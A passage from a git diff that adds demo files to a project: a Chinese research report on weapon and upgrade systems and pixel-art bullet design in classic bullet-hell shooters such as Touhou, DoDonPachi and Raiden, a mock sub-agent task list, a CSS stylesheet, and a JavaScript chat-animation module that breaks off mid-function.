itch.io/OpenGameArt 页面标题与标签。 +- **基于第三方社区/百科归纳**:Touhou Wiki 判定点机制(Hitbox 条目)、Maribel Hearn 的 Touhou Jargon、Sparen 弹幕教程、note 上"15 个美丽弹幕"文章、Reddit r/shmupdev 讨论——这些是社区整理,非官方文档,具体数值(如判定点像素大小、各作品子弹尺寸)以实际游戏/官方资料为准。 +- **标注为"既有认知+"的内容**(第 1.3 节东方风格总结):来自模型训练知识与社区资料交叉印证,非实时官方文档,**未逐一验证**,使用前建议对照东方官方立绘/游戏截图复核。 +- **价格为检索时点快照**(如 $5.50、$4.99),可能变动,以页面为准。 \ No newline at end of file diff --git a/demo/mock/file-weapon_research.md b/demo/mock/file-weapon_research.md new file mode 100644 index 0000000..c515f05 --- /dev/null +++ b/demo/mock/file-weapon_research.md @@ -0,0 +1,295 @@ +# 经典弹幕射击游戏(STG)武器系统调研报告 + +> 调研主题:经典弹幕射击游戏(STG / Bullet Hell)的武器系统设计与像素风格表现 +> 调研日期:2026-08-23 +> 信息来源:网络公开资料(维基百科、Shmups Wiki、THBWiki/东方维基、slynyrd Pixelblog、各游戏官方/玩家社区资料),详见文末「参考资料」 + +--- + +## 目录 + +1. [概述](#1-概述) +2. [玩家武器类型分类](#2-玩家武器类型分类) +3. [武器升级系统](#3-武器升级系统) +4. [像素风格表现](#4-像素风格表现) +5. [像素 STG 武器视觉设计建议(落地清单)](#5-像素-stg-武器视觉设计建议落地清单) +6. [参考资料](#6-参考资料) + +--- + +## 1. 概述 + +弹幕射击游戏(Shoot 'em up / STG,日式弹幕习惯称「弹幕射击」或 Bullet Hell)的核心设计循环是:**在布满敌方子弹的屏幕中移动自机、同时用自机武器持续输出**。因此武器系统承担着三重职责: + +1. **输出手段**:决定清杂(popcorn)与打 BOSS 的效率; +2. **玩法差异化**:不同武器/机体提供不同的操作手感与策略分支; +3. **视觉语言**:武器是玩家在屏幕上"属于自己"的元素,必须与敌弹、背景清晰区分。 + +本报告以三条经典主线为调研对象: + +- **东方Project**(ZUN / 上海爱丽丝幻乐团,PC 弹幕标杆,自机武器+符卡 BOMB 体系) +- **怒首领蜂系列**(CAVE,街机弹幕始祖,Shot/Laser 双模式 + Hyper 系统) +- **雷电系列**(Seibu Kaihatsu,经典街机纵版,多武器切换 + 8 级火力) +- 辅以 **R-Type(蓄力/力球)**、**Gradius(升级条/子机)** 等横版经典作补充 + +> 说明:调研发现,任务描述中提到的「东方Project 的幽幽子」并非自机散弹武器,而是《东方妖妖梦》的 BOSS(西行寺幽幽子)。她的招牌弹幕是**蝶弹(蝴蝶形状子弹)大面积散开**,属于"散布型弹幕"视觉范式,可作为散弹/散布弹幕的视觉参考;东方自机散弹的典型例子是灵梦 C(Youkai Buster)、魔理沙 A(Spread Star)、东风谷早苗等,本报告两部分都会覆盖。 + +--- + +## 2. 玩家武器类型分类 + +### 2.1 散弹(Spread Shot) + +**定义**:向前方扇形/多方向发射大量小弹丸,覆盖范围宽、清杂效率高,但单发伤害分散,对单体(BOSS)总伤害通常低于集中火力。 + +| 游戏 | 例子 | 机制与视觉 | +|---|---|---| +| 雷电系列 | **Vulcan(红色道具)** | 初始武器,升级后弹幕从 2 连装→3→4 连装、散布角逐渐加宽(最多 7 方向);视觉上是一排并排的小弹丸扇形散开 | +| 怒首领蜂 | **Shot(点按 A 键)** | 标准"spread"散弹,覆盖面比激光宽;Shot Type 强化后散弹密度/威力翻倍;视觉为密集白色/浅色小弹丸 | +| 东方 Project | **灵梦 C(Youkai Buster/妖怪破坏者)**、**魔理沙 A(Spread Star/散星)** | 道中清杂强、BOSS 输出低;散布的弹丸+子机(Option)向两侧展开 | +| 东方(BOSS 视觉范本) | **西行寺幽幽子的蝶弹(死蝶「華胥の永眠」等)** | 以**蝴蝶形状子弹**大面积散开铺满屏幕,是"散布型弹幕"最经典的视觉形态之一 | + +**设计要点**:散弹的关键是"扇面角度 + 弹丸数量 + 弹丸间距"三个可调参数。升级时优先扩展扇面角度或增加弹丸密度,让玩家能直观看到"火力变强了"。 + +--- + +### 2.2 集中射击(Focus Shot) + +**定义**:把所有火力集中在自机正前方一小条区域,单发伤害高(DPS 高),适合贴脸(pointblanking/Shotgunning)打 BOSS,但因覆盖窄需要瞄准走位。 + +| 游戏 | 例子 | 机制与视觉 | +|---|---|---| +| 东方 Project | **低速模式(按住 Shift)时的射击**:灵梦「博丽灵符/封魔针」、魔理沙「非指向性激光/高速射击」 | 高速移动时是散弹,按住 Shift 进入低速(目押)模式后,射击自动收拢为**前方集中的高伤害火力**;视觉上弹丸从"散开"变为"一束" | +| 怒首领蜂 | **Laser 模式**(见 2.3) | 东方把"集中"做成独立模式,怒首领蜂则直接把集中形态做成持续光束 | +| 风神录 灵梦 B | **Forward Focus Type(Sealing Needle/封印针)** | 正前方集中射击型,BOSS 战伤害高、道中需要编排走位 | + +**设计要点**:集中射击通常与"低速/精确操控"绑定,视觉上要和散弹形成**一收一放**的对比——弹丸收拢成束、必要时加一条细光束/光线提示"伤害集中"。 + +--- + +### 2.3 激光 / 光束武器(Laser) + +**定义**:持续输出的光束型武器。特点:判定穿透(可打穿一排敌人)、伤害集中、通常伴随机体减速或能量光环(Aura)。 + +| 游戏 | 例子 | 机制与视觉 | +|---|---|---| +| 怒首领蜂 | **Laser(按住 A 键)** | 大型窄光束,最强武器(对 BOSS 首选);Laser Type 可穿透杂鱼、激活更快;激活时机身周围出现 **Aura(灵气光环)**,贴脸时激光+Aura 双重伤害;使用激光时自机减速便于精确躲避 | +| 雷电系列 | **Laser(蓝色道具)/ Plasma Laser(紫色道具)** | 直线激光,升级增加光束数量与威力;Plasma 激光**可吸附高 HP 敌人并弯曲**(追击相邻目标) | +| 东方 Project | **魔理沙(Illusion Laser/幻影激光)**、B 型穿透激光 | 穿透型光束;妖妖梦起有"非指向性激光"(按住时发射贯穿激光) | + +**设计要点**: +- 光束是**连续**的,区别于散弹的**离散弹丸**——视觉上用粗、直、持续的光柱 + 起点处的光晕做区分; +- 激光与"机体周围光环"绑定是怒首领蜂的标志性设计,光环既是伤害来源也是视觉提示("你现在是激光模式"); +- 注意激光模式下机体的移动速度降低,这是手感上的重要反馈。 + +--- + +### 2.4 追踪弹 / 制导武器(Homing) + +**定义**:发射后自动追踪敌人的弹药。上手简单、道中省心,代价是单发伤害低、无法集中打同一目标。 + +| 游戏 | 例子 | 机制与视觉 | +|---|---|---| +| 东方 Project | **灵梦 A(Homing Amulet/诱导灵符)** | 非集中模式为追踪弹,自动锁定敌人;集中模式切换为前方直射 | +| 雷电系列 | **Homing Missile(H 道具)** | 子武器系统,追踪导弹自动飞向敌人 | +| R-Type | **Homing Missile** | 与主炮同时发射的追踪导弹 | + +**设计要点**:追踪弹必须**视觉上可读——弹丸带明显的"转弯/锁定"行为**(一开始直线、接近目标时转向),并常伴随尾迹(trail)以表现导弹感。像素下建议用 1-2 像素的小弹丸 + 短尾迹 + 发光的"引导火"。 + +--- + +### 2.5 近战 / 环绕武器(Orbit / Force / Option) + +**定义**:不(仅)发射弹丸,而是以"挂在自机上的物体"进行接触伤害、挡子弹,或跟随自机复制射击。 + +| 游戏 | 例子 | 机制与视觉 | +|---|---|---| +| R-Type | **Force Pod(力量球)** | 可以发射出去、也可以收回挂在机头的球体;接触敌人造成伤害、可阻挡子弹 | +| 怒首领蜂 | **Laser Aura** | 激光激活时机身周围的环状灵气,接触即伤害(贴脸加成) | +| Gradius | **Option(子机)** | 发光的无敌球体尾随自机,复制自机射击,可堆 2-4 个 | +| 东方 Project | **子机(Option)**:风神录后 P 道具主要增加子机数量 | 子机在自机两侧/前后跟随发射,火力升级的直观表现 | + +**设计要点**:环绕武器是最能体现"火力等级"的视觉载体——**子机数量=火力等级**是东方风神录之后的通用做法,玩家一眼可读。像素下子机用发光的小球/小符纸 + 拖尾即可。 + +--- + +### 2.6 蓄力射击(Charge Shot) + +**定义**:按住射击键充能,松开时释放一发大威力"蓄力弹"。蓄力时间越长威力越大,通常带穿透/范围效果。 + +| 游戏 | 例子 | 机制与视觉 | +|---|---|---| +| R-Type | **Wave Cannon(波动炮)** | 按住 A 蓄力,蓄力等级(charge gauge)越高波动炮越大越强,可穿透弱敌;R-Type Final 3 有最多 2 段蓄力的强化波动炮 | +| 怒首领蜂(近似) | **Hyper** | 蓄能量槽(Hyper Gauge),满后释放一次爆发性强化(更接近"强化爆气"而非单体蓄力弹,见 3.5) | + +**设计要点**: +- 蓄力需要**清晰的充能指示**:R-Type 在机身上方显示蓄力槽/蓄力球,蓄力阶段机身周围能量球从小变大、颜色变亮; +- 释放瞬间用**大尺寸弹体+全屏震动/闪光**强化"这一发很重"的感觉。 + +--- + +### 2.7 炸弹 / 清屏技能(Bomb / Spell Card / 灵击) + +**定义**:有限的强力保命技:清屏敌弹、短暂无敌、对全场敌人大伤害;部分还能吸道具。数量受限,是玩家"资源管理"的核心。 + +| 游戏 | 例子 | 机制与视觉 | +|---|---|---| +| 东方 Project | **符卡 BOMB(自机符卡)** | 发动时显示角色立绘+符卡名(私人用视觉/命名系统),清屏敌弹为☆道具、全屏吸道具、短时间无敌;数量有限(通常 3 个起步) | +| | **灵击(风神录/地灵殿)** | BOMB 变体:不限制次数,改为消耗 Power(见 3.4);风神录灵击为向前推出大型圆环,BOSS战额外全屏判定 | +| 怒首领蜂 | **Spread Bomb(散弹炸弹)/ Laser Bomb(激光炸弹)** | 炸弹随当前武器状态变化:散弹状态=中规模清屏;激光状态=前方大型激光束(伤害更高);发动时无敌并消弹 | +| 雷电系列 | **Bomb** | 消屏子弹+BOSS区域伤害;按炸弹键到爆炸有短暂延迟 | + +**设计要点**: +- 炸弹的**视觉语言 = 全屏级特效**:闪光、扩散圆环、敌弹化为道具/星星——让"屏幕瞬间被清理"的结果可视化; +- 东方把炸弹做成"符卡"(有名字有立绘)是世界观与玩法结合的最佳范例,值得像素游戏借鉴(起一个帅气的招式名); +- 炸弹与武器状态联动(怒首领蜂散弹/激光两种炸弹)可以增加决策深度。 + +--- + +## 3. 武器升级系统 + +### 3.1 道具拾取升级(P 道具 / Power-Up) + +几乎所有经典 STG 都用"拾取掉落道具→火力升级"的模式,区别在道具形态与上限设计: + +| 游戏 | 道具 | 升级机制 | +|---|---|---| +| 东方 Project | **红色 P 道具** | 小 P +1(红妖永)、+0.05(风神录)、+0.01(星莲船后);大 P +8 / +1.00。满 Power(Full Power Mode)后 P 道具自动转为其他道具(分数/信仰等) | +| 怒首领蜂 | **P(Power Up)** | 4 个 P 达到满级;死亡后主力武器降 1 级、另一武器归 1 级(二周目则双双降 1 级) | +| 雷电系列 | **红(Vulcan)/蓝(Laser)/紫(Plasma)/H/M(导弹)** | 同类道具拾取才升级;主武器 8 级满(Vulcan 连装数+散布角递增、Laser 光束数递增);死亡后武器掉落还原 | + +**设计要点**: +- **同类拾取才升级**(雷电)制造"专注一系武器"的策略取舍; +- 掉道具设计(死亡时爆出若干 P 道具)让玩家可以"捡回"部分火力,是容错设计; +- 满级后道具转化(东方)避免火力溢出浪费,是一种奖励机制。 + +### 3.2 多级别火力变化 + +- **雷电**:主武器 **8 级**。Vulcan 从 2 连装→3→4 连装、散布角逐步加大;Laser 从单束→多束、光束加粗;是"逐级可读"的经典范例。 +- **怒首领蜂**:**4 级(Level 0–4)**。每级激光每秒伤害递增(如 A-Shot 激光 128→136/132→140/136→144 per 2 frames),火力升级数值化。 +- **东方**:Power 分级(红妖永 0–128;风神录 0–5.00;星莲船后 1.00–4.00 下限),变化体现在本体子弹数量(早期)或子机数量/排列(风神录后)。 + +**设计要点**:每个火力级别都要有**对应的视觉变化**(弹丸数量、散布角、光束宽度、子机数量),让玩家不需要看 HUD 也能感知当前火力等级。 + +### 3.3 武器切换机制 + +| 游戏 | 切换方式 | 说明 | +|---|---|---| +| 东方 Project | **高速/低速(Shift)** | 同一武器在两种移动速度下显示"散弹/集中"两种形态,一按即切换 | +| 怒首领蜂 | **点按 A = Shot / 按住 A = Laser** | 一个键承载两种武器形态;另在选机界面选择 Shot Type(散弹强化)或 Laser Type(激光强化),是"模式选择"的鼻祖 | +| 雷电 | **红/蓝/紫/绿道具** | 拾取道具即时切换主武器/导弹类型 | +| Gradius | **Power Meter(升级条)** | 吃一个道具点亮升级条下一格,按确定键购买(Speed/Missile/Double/Laser/Option/护盾……),买完回卷重来——"选择顺序"本身就是策略 | +| 怒首领蜂大往生(DOJ) | **Element Dolls(元素人偶)**:Shotia(强化散弹)/Leinyan(强化激光)/EXY(双强化) | 人偶决定强化方向+炸弹容量上限(3-6 / 2-4 / 1-2),强化与资源形成权衡 | + +**设计要点**: +- 武器切换要么做成"一键瞬切"(东方 Shift、怒首领蜂按住),要么做成"有成本的选择"(雷电道具、Gradius 升级条); +- 切武器的代价越小,玩家越倾向频繁换武器应敌(节奏快);代价越大,越需要路线规划(深思熟虑)。 + +### 3.4 东方 Project 的 Power 系统 + +- P 道具是唯一火力来源:早期(红/妖/永)为 **0–128** 区间,小 P +1 / 大 P +8;风神录改为 **0.00–5.00**(小 P +0.05 / 大 P +1.00);星莲船后为 **1.00–4.00** 下限。 +- 表现载体变化:永夜抄以前"本体射出的子弹变多";风神录以后改为"增加射出的子机(Option)"——**火力可视化**。 +- Power 还承担资源职能:风神录/地灵殿的**灵击消耗 1.00 Power**,使用后射击能力减弱,形成"用资源换保命"的抉择。 +- 满 Power 后 P 道具转化为分数/信仰道具,防止浪费。 + +### 3.5 怒首领蜂的强化系统 + +1. **双模式(Shot/Laser Type)**:初代 DDP 引入。Shot Type 强化散弹(更密、更宽、双倍火力)、激光则细且不可穿透;Laser Type 让激光穿透杂鱼、激活更快、光环保留,但散弹变弱。 +2. **Element Dolls(DOJ)**:见 3.3,强化方向与炸弹容量权衡。 +3. **Hyper 系统(DOJ 起)**:玩家通过连击、收集蜜蜂、贴脸输出积攒 **Hyper Gauge**,满后掉落 Hyper 道具(上限 5 个);激活时: + - 全场敌弹消除 + 短暂无敌(80/120 帧); + - 散弹与激光威力暴涨(射出的散弹可消敌弹、激光可挡 BOSS 大激光); + - 激活期间敌人喷更多子弹、**游戏 RANK 隐藏难度提升**; + - 计时器以机身周围**白色圆环**呈现,圆环消失=Hyper 结束。 + - 这是"用强化换难度"的经典设计——高回报高风险。 + +**设计要点**:怒首领蜂证明"武器强化"可以和"游戏难度自适应(Rank)"挂钩,让强力火力本身成为平衡杠杆。 + +--- + +## 4. 像素风格表现 + +### 4.1 子弹的像素美术设计(大小、形状、颜色) + +综合 slynyrd(Raymond Schlitter)的 STG 像素美术教程与弹幕社区经验,核心原则是**可见性(readability)第一**: + +- **颜色**:子弹应是屏幕上最鲜艳的对象,用高饱和亮色与背景拉开;弹幕游戏普遍选用**红/粉/紫系**作敌弹(不易与背景、自机弹冲突),偶用蓝/黄作功能性区分。 +- **大小**:大子弹更醒目但占屏更大易显得傻;小子弹容易淹没在特效里。混合多种尺寸:大体型通常暗示更高伤害。 +- **形状**:圆、椭圆、针、箭、刀、蝴蝶、米粒、苦无、符纸(东方命名体系:小玉/大玉/针弹/米弹/蝶弹/札弹/箭弹……)等独特形状增强辨识度与趣味。 +- **轮廓线(Outline)**:几乎必须。slynyrd 建议**亮色+暗色双重描边**,或统一用白色描边让子弹在任意背景下可读(敌机/自机用深色描边以区分层级)。 +- **闪烁**:两帧交替(闪白/闪亮)提升存在感与"危险感";但对比过强会让高速移动的子弹难追踪——需要在"醒目"与"可追踪"之间平衡。 +- **旋转/脉动**:星星、方形、椭圆可加旋转;任意形状可加轻微缩放脉动让子弹"活着"。 + +### 4.2 射击特效(muzzle flash、尾迹) + +- **枪口闪光(Muzzle Flash)**:自机开火瞬间的短促亮斑,逐帧淡出;体积小但高频出现,应在设计初期预留清晰 sprite。 +- **尾迹(Trail)**:散弹弹药可加短尾迹表现速度感;追踪弹/导弹必须加尾迹(弯曲轨迹+火光)体现"制导"性质;激光可加**束起点光晕**与**目标命中火花**。 +- **爆炸(Explosion)**:slynyrd 的爆炸公式——圆形向导扩张成变薄圆环 → 转为有机火团 → 白热渐变为暖色再转灰烟 → 缓慢上升消散;热空气"快速膨胀、渐凉减速"的物理节奏是让爆炸可信的关键。 +- **弹道/拖影**:高速敌弹可加残影(ghosting),但残影不能遮挡弹间缝隙。 + +### 4.3 不同武器类型的视觉区分度 + +| 武器 | 视觉语言 | 举例 | +|---|---|---| +| 散弹 | 大量小弹丸**离散**、扇面、快速连发 | 雷电 Vulcan 并排弹丸;东方灵梦 C 大量小弹 | +| 集中/激光 | **连续光束**:粗、直、持续 + 起点光晕 + 命中火花;伴随机身光环 | 怒首领蜂激光+灵气光环;魔理沙穿透激光 | +| 追踪弹 | 弹丸带明显**转弯行为**+弯曲尾迹+发光引导火 | 灵梦 A 诱导灵符;雷电 Homing | +| 蓄力 | **充能指示器**(机身能量球由小变大/变亮/变色)+ 释放时放大弹体+闪光 | R-Type Wave Cannon 蓄力槽 | +| 炸弹 | **全屏级特效**:扩散圆环+闪光+敌弹变道具/星星 | 东方符卡 BOMB 立绘+清屏;怒首领蜂两种炸弹 | +| 环绕武器 | 发光球体/子机挂在自机旁,随火力升级数量递增 | Gradius Option;东方子机 | + +### 4.4 屏幕内大量子弹的辨识度设计 + +- **敌弹颜色编码**:用颜色区分"快弹/慢弹/装饰弹"或危险等级(红=会伤害、粉紫=普通、淡色=装饰);东方/怒首领蜂大量使用红粉紫系正是出于与背景不冲突、且高频饱和色在密集时仍可辨。 +- **判定点(Hitbox)分离**:东方从妖妖梦起,低速模式在自机上显示**红色圆点判定点**(子弹只碰到这一点才判定中弹);怒首领蜂所有子弹共享同一 hitbox(通常小于视觉大小)——"视觉大、判定小"是弹幕公平性的核心。 +- **自机弹 vs 敌弹颜色对立**:如 castpixel 的做法——**fuchsia(紫红)= 敌弹、yellow(黄)= 自机弹**,极端对立让双方一眼可分。 +- **弹幕"缝隙设计"(gap design)**:弹幕不只是子弹设计,更是**缝隙设计**——"玩家能看见可通行路径即为公平",装饰性子弹可以用低饱和/半透明表示"无威胁"。 +- **擦弹(Graze)反馈**:子弹擦过自机时的音效/闪光反馈(东方擦弹系统)帮助玩家"读"弹幕密度。 +- **性能与同屏量**:像素 STG 在低分辨率(如 480×270)下单帧同屏敌弹可达数百,需要单帧 sprite 体量小(8×8 内)+ 2-4 帧动画,并提前规划透明色/轮廓的绘制成本。 + +--- + +## 5. 像素 STG 武器视觉设计建议(落地清单) + +面向自研像素弹幕 STG,综合以上调研给出可直接落地的建议: + +### A. 武器体系骨架 +1. **每种武器 = 一种"火力形态"而非多个数值**:散弹(扇形+连发)、激光(穿透光束+光环)、追踪(锁定+尾迹)、集中(高速模式收拢)至少占 2-3 种,用 Shift/按住 键在同一机体上瞬切(东方/怒首领蜂模式)。 +2. **火力等级可视化**:每级变化做成"子机数量 / 弹丸数 / 散布角 / 光束宽度"其中之一,让玩家不读 HUD 也能感知等级(东方子机、雷电连装数的思路)。 +3. **掉落同系升级(或 P 通用)**:可选雷电"同色道具才升级"(策略取舍)或东方"P 通用道具"(上手简单),建议新手向用后者。 +4. **炸弹做成"有名有相"的大招**:借鉴东方符卡——发招时全屏特效+短暂演示(立绘/名牌可选),视觉上"一键清屏"结果必须一帧可见。 +5. **强化换难度**(可选进阶):怒首领蜂 Hyper/Rank 思路——强火力同时提高敌弹速度或密度,制造"成长风险"。 + +### B. 子弹与特效像素规范 +6. **敌弹用红/粉/紫高饱和系 + 白/亮色轮廓(双描边更稳)**;自机弹用对立色(黄/青),两类永不撞色。 +7. **子弹 8×8 内完形、2 帧闪烁**:交替闪白提升醒目度;高速弹少用高对比闪烁以免难追踪。 +8. **独特形状命名体系**:采用东方式命名(小玉/大玉/针/米/蝶/札/箭/刀/苦无),每个形状配名称,既是美术资产清单也是世界观萌点。 +9. **判定点独立显示**:低速(focus)模式显示红色圆点判定;敌弹统一"视觉 > 判定"原则。 +10. **特效规格化**:muzzle flash 2-3 帧、爆炸 8-10 帧(白热→暖色→灰烟)、激光起点光晕+命中火花常驻 2-3 sprite。 +11. **尾迹只给"需要读懂速度/轨迹"的弹种**(高速弹、追踪弹),装饰弹少用尾迹以保缝隙可读性。 + +### C. 屏幕可读性指标 +12. 任意单帧同屏:自机弹与敌弹在色相/明度上至少有一个维度明确对立。 +13. 弹幕可读性验收标准:**截图后 1 秒内能指出至少一条可行缝隙**;做不到就降低装饰弹密度或调低其饱和度。 +14. 低分辨率(320×180 ~ 640×360)下优先保证:敌弹 > 自机 > 背景 的优先级渲染(敌弹永远最上层且最亮)。 + +--- + +## 6. 参考资料 + +以下为本报告主要信息来源(按主题归类): + +1. 维基百科中文:符卡(东方 Project 自机 BOMB/符卡系统)、东方 Project(游戏系统/P 道具/BOMB 演化)、东方妖妖梦(低速判定点/武器/樱点系统)、怒首领蜂(Shot/Laser 强化) +2. Shmups Wiki(shmups.wiki):»DoDonPachi«(Shot/Laser 双模式、Aura、两种炸弹、hitbox、4 级火力)、»DoDonPachi DaiOuJou«(Element Dolls、Hyper 系统、Rank)、»Mountain of Faith«(风神录自机 6 种 shot type、Power/灵击、P 道具数值)、»Raiden II / Raiden DX«(Vulcan/Laser/Plasma、8 级火力、H/M 导弹) +3. THBWiki / 东方维基(thwiki.cc、zh.touhouwiki.net):STG 术语(判定点/擦弹/自机狙/道中)、弹幕类型词条、东方游戏玩法页 +4. Touhou Community Jargon(maribelhearn.com):东方子弹类型命名列表(玉弹/针弹/蝶弹/米弹/札弹/苦无等) +5. slynyrd Pixelblog #31 – Shmup Design Part 1(slynyrd.com):像素 STG 子弹可见性设计(颜色/尺寸/形状/轮廓/闪烁/旋转)与爆炸设计公式 +6. BULLET HELL SHMUP DESIGN 101(Reddit r/shmupdev):弹幕颜色选择(红粉紫系)、弹幕设计原则 +7. 弹幕美术赏析(note.com「15 Beautiful Bullet Hell Patterns」):弹幕=缝隙设计、颜色区分弹种/危险等级 +8. R-Type(Shmups Wiki / R-Type Wiki):Wave Cannon 蓄力系统、Force Pod 力球、Bit Device、追踪导弹 +9. Gradius 系列(Gaming History 101 / StrategyWiki):Power Meter 升级条、Speed/Missile/Double/Laser/Option 体系 +10. ClassicReload / GameFAQs Raiden II FAQ:雷电武器道具(红/蓝/紫、H/M)、8 级火力、死亡掉落机制 + +--- + +*本报告为公开资料调研整理,涉及具体数值(如怒首领蜂激光伤害、东方 P 道具数值)均以上述来源为准,细节以各游戏实际版本为准。* \ No newline at end of file diff --git a/demo/mock/sub-agents-conv_20260823_122836_778.json b/demo/mock/sub-agents-conv_20260823_122836_778.json new file mode 100644 index 0000000..a7a3290 --- /dev/null +++ b/demo/mock/sub-agents-conv_20260823_122836_778.json @@ -0,0 +1 @@ +{"success": true, "data": [{"task_id": "sub_1_1787459389_fd8265", "status": "completed", "summary": "调研经典弹幕射击游戏武器系统", "last_tool": "write_file", "conversation_id": "conv_20260823_122836_778", "created_at": 1787459389.187}, {"task_id": "sub_2_1787459391_a9b055", "status": "completed", "summary": "调研弹幕射击游戏敌方弹幕模式", "last_tool": "write_file", "conversation_id": "conv_20260823_122836_778", "created_at": 1787459391.087}, {"task_id": "sub_3_1787459393_3da5a5", "status": "completed", "summary": "调研像素风格弹幕游戏美术设计", "last_tool": "write_file", "conversation_id": "conv_20260823_122836_778", "created_at": 1787459393.087}]} \ No newline at end of file diff --git a/demo/site-assets/anim-demo.css b/demo/site-assets/anim-demo.css new file mode 100644 index 0000000..05cb931 --- /dev/null +++ b/demo/site-assets/anim-demo.css @@ -0,0 +1,36 @@ +/* 运行模式动画 —— 无边框无底色,直接融在星空背景上 */ + +:root { + --bg-0: #0c1120; + --bg-1: #111830; + --text-1: #eef1f8; + --text-2: #a7b0c4; + --text-3: #6b7488; + --line: rgba(168, 180, 210, 0.14); + --accent: #a9c2f0; + --accent-strong: #c1d4f6; + --ok: #7ba889; + --font-sans: -apple-system, BlinkMacSystemFont, "SF Pro Text", "PingFang SC", + "Noto Sans SC", "Helvetica Neue", "Microsoft YaHei", sans-serif; + --font-mono: ui-monospace, "SF Mono", "SFMono-Regular", Menlo, Consolas, monospace; +} + +* { margin: 0; padding: 0; box-sizing: border-box; } + +body { + font-family: var(--font-sans); + background: linear-gradient(180deg, var(--bg-1) 0%, var(--bg-0) 60%); + min-height: 100vh; + display: flex; + align-items: center; + justify-content: center; + color: var(--text-1); +} + +.stage { display: flex; flex-direction: column; align-items: center; gap: 18px; } + +.hint { font-size: 13px; color: var(--text-3); } + + +/* demo 页动画宿主尺寸 */ +.anim-host { width: 460px; height: 388px; } diff --git a/demo/site-assets/anim-modes.js b/demo/site-assets/anim-modes.js new file mode 100644 index 0000000..c5b36b1 --- /dev/null +++ b/demo/site-assets/anim-modes.js @@ -0,0 +1,302 @@ +/* 运行模式动画 —— 可复用模块(主页 feature 行 / anim-demo 页共用) + * AnimModes.init(container):在容器内建 DOM(模式 tab + 消息区 + 输入栏 + 假鼠标), + * 点击 tab 切换并从头播放,再次点击重播。 + */ +window.AnimModes = (function () { + 'use strict'; + + function init(container) { + container.innerHTML = + '
' + + '
' + + '' + + '' + + '' + + '
' + + '
' + + '
' + + '' + + '
'; + + var chat = container.querySelector('.anim-chat'); + var composer = container.querySelector('.anim-composer'); + var composerText = composer.querySelector('.anim-composer-text'); + var cursor = container.querySelector('.anim-cursor'); + var tabs = Array.prototype.slice.call(container.querySelectorAll('.anim-mode-tab')); + var animWindow = container.querySelector('.anim-window'); + /* ── 代次令牌:切换模式时作废旧序列的所有后续步骤 ── */ + var gen = 0; + + function sleep(ms) { + return new Promise(function (r) { setTimeout(r, ms); }); + } + + /** 可中断 sleep:醒来后发现已切换模式则抛错终止序列 */ + async function step(ms, myGen) { + await sleep(ms); + if (myGen !== gen) throw new Error('cancelled'); + } + + function el(tag, cls, text) { + var e = document.createElement(tag); + if (cls) e.className = cls; + if (text != null) e.textContent = text; + return e; + } + + /* ── 基础构件 ── */ + + /** 入场元素统一入口:挂载并平滑滚到底部(旧内容自然顶出) */ + function push(node) { + chat.appendChild(node); + requestAnimationFrame(function () { + chat.scrollTo({ top: chat.scrollHeight, behavior: 'smooth' }); + }); + return node; + } + + function addUserMsg(text) { + return push(el('div', 'msg-user anim-item', text)); + } + + function addThinkRow() { + var row = el('div', 'think-row anim-item'); + var dots = el('span', 'think-dots'); + dots.appendChild(el('i')); + dots.appendChild(el('i')); + dots.appendChild(el('i')); + row.appendChild(dots); + return push(row); + } + + function removeEl(e) { + if (e && e.parentNode) e.parentNode.removeChild(e); + } + + /** 往目标元素里逐字打出(带光标),返回 Promise */ + async function typeInto(span, text, myGen, cps) { + var caret = el('span', 'type-caret'); + span.parentNode.insertBefore(caret, span.nextSibling); + for (var i = 0; i < text.length; i++) { + span.textContent += text[i]; + chat.scrollTop = chat.scrollHeight; // 打字时保持底部可见 + await step(cps || 34, myGen); + } + removeEl(caret); + } + + /** AI 裸文字消息:逐字流式 */ + async function typeAiMsg(text, myGen) { + var b = el('div', 'msg-ai anim-item'); + var span = el('span'); + b.appendChild(span); + push(b); + await typeInto(span, text, myGen, 34); + return b; + } + + /** 工具摘要行:状态图标 + intent + 关键参数(不显示工具名) */ + async function addToolLine(intent, param, runMs, myGen) { + var b = el('div', 'tool-line is-running anim-item'); + b.appendChild(el('span', 'tool-status')); + b.appendChild(el('span', 'tool-intent', intent)); + if (param) b.appendChild(el('span', 'tool-param', param)); + push(b); + await step(runMs, myGen); + b.classList.remove('is-running'); + b.classList.add('is-done'); + return b; + } + + /* ── 假鼠标:出现 → 移到目标中心 → 点击 → 消失 ── */ + + function cursorMoveTo(x, y, immediate) { + if (immediate) cursor.style.transition = 'none'; + cursor.style.transform = 'translate(' + x + 'px,' + y + 'px)'; + if (immediate) { + cursor.getBoundingClientRect(); // 强制 reflow,恢复过渡 + cursor.style.transition = ''; + } + } + + async function cursorClick(targetEl, myGen) { + var win = animWindow; + var wr = win.getBoundingClientRect(); + var tr = targetEl.getBoundingClientRect(); + cursorMoveTo(wr.width - 60, wr.height - 40, true); + cursor.classList.add('is-visible'); + await step(260, myGen); + cursorMoveTo(tr.left - wr.left + tr.width / 2 - 4, tr.top - wr.top + tr.height / 2 - 2, false); + await step(760, myGen); + cursor.classList.add('is-clicking'); + targetEl.classList.add('is-pressed'); + await step(140, myGen); + cursor.classList.remove('is-clicking'); + targetEl.classList.remove('is-pressed'); + await step(120, myGen); + cursor.classList.remove('is-visible'); + } + + /* ── 模式一:计划 ── */ + + async function playPlan(myGen) { + addUserMsg('帮我给这个项目加一个设置页面'); + await step(700, myGen); + + var think = addThinkRow(); + await step(1300, myGen); + removeEl(think); + + await addToolLine('规划设计页面', '.astrion/plan/settings-page.md', 900, myGen); + await step(350, myGen); + + // 计划:标题与条目全部逐字流式 + var body = el('div', 'plan-body anim-item'); + push(body); + var title = el('div', 'plan-title'); + var titleSpan = el('span'); + title.appendChild(titleSpan); + body.appendChild(title); + await typeInto(titleSpan, '设置页面开发计划', myGen, 55); + + var items = ['梳理现有个性化设置字段与保存接口', '编写页面布局与表单组件', '接入保存并构建验证']; + for (var i = 0; i < items.length; i++) { + var row = el('div', 'plan-item'); + row.appendChild(el('b', null, (i + 1) + '.')); + var itemSpan = el('span'); + row.appendChild(itemSpan); + body.appendChild(row); + await typeInto(itemSpan, items[i], myGen, 26); + await step(120, myGen); + } + + var actions = el('div', 'plan-actions anim-item'); + var approve = el('button', 'plan-btn is-primary', '批准计划'); + actions.appendChild(approve); + body.appendChild(actions); + chat.scrollTo({ top: chat.scrollHeight, behavior: 'smooth' }); + await step(700, myGen); + + // 鼠标点击批准 + await cursorClick(approve, myGen); + approve.textContent = '已批准 ✓'; + approve.classList.remove('is-primary'); + approve.classList.add('is-approved'); + await step(700, myGen); + + // 按钮淡出收起,释放垂直空间 + 